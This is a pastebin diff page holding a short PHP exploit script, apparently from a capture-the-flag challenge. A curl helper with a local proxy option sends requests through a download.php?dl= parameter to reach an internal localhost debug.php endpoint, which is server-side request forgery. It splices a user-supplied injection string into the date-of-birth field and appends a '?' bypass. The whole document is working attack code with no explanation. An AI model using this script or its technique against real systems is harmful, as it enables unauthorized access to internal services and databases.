View difference between Paste ID: BNFZ3gxu and xuex7z7W
SHOW: | | - or go back to the newest paste.
1
<?php
2
function customCurl($URL=null, $postData=false, $cookie='set', $customHeader=null, $oHeader=false, $proxy=false){
3
4
	$cookieJar = './cookie'; //tempnam('/tmp','cookie');
5
	$ch = curl_init($URL);
6
7
	if($cookie==='set'){
8
		@unlink($cookieJar);
9
		curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
10
	}elseif($cookie==='get')
11
		curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
12
	else{}
13
14
	if($proxy)
15
		curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080');
16
17
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
18
	curl_setopt($ch, CURLOPT_HEADER, $oHeader);
19
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); //don't follow redirects
20
21
	if($postData!==false){
22
		curl_setopt($ch, CURLOPT_POST, 1);
23
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
24
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
25
	}
26
27
	if($customHeader!==null){
28
		curl_setopt($ch, CURLOPT_HTTPHEADER, $customHeader);
29
	}
30
31
32
	$response = curl_exec($ch);
33
34
35
	@list($headers, $body) = explode("\r\n\r\n", $response, 2);
36
37
	return array('headers'=>$headers, 'body'=>$body);
38
}
39
40
$Injection = $_GET['inj'];
41
$baseURL = 'http://kansas.pwn.republican/download.php?dl=';
42
$data = 'http://localhost/secure/debug.php?s=3&txtfirst_name=Voorivex&txtmiddle_name=Voorivex&txtLast_name=Voorivex&txtname_suffix=Voo&txtdob=05%2F03%2F198' . $Injection . '&txtdl_nmbr=K19902613&txtRetypeDL=K19902613&btnContinue2=Continue';
43
$bypass = '?';
44
45
$response = customCurl($baseURL . urlencode($data) . $bypass);
46
47
48
echo $response['headers'];
49
50
?>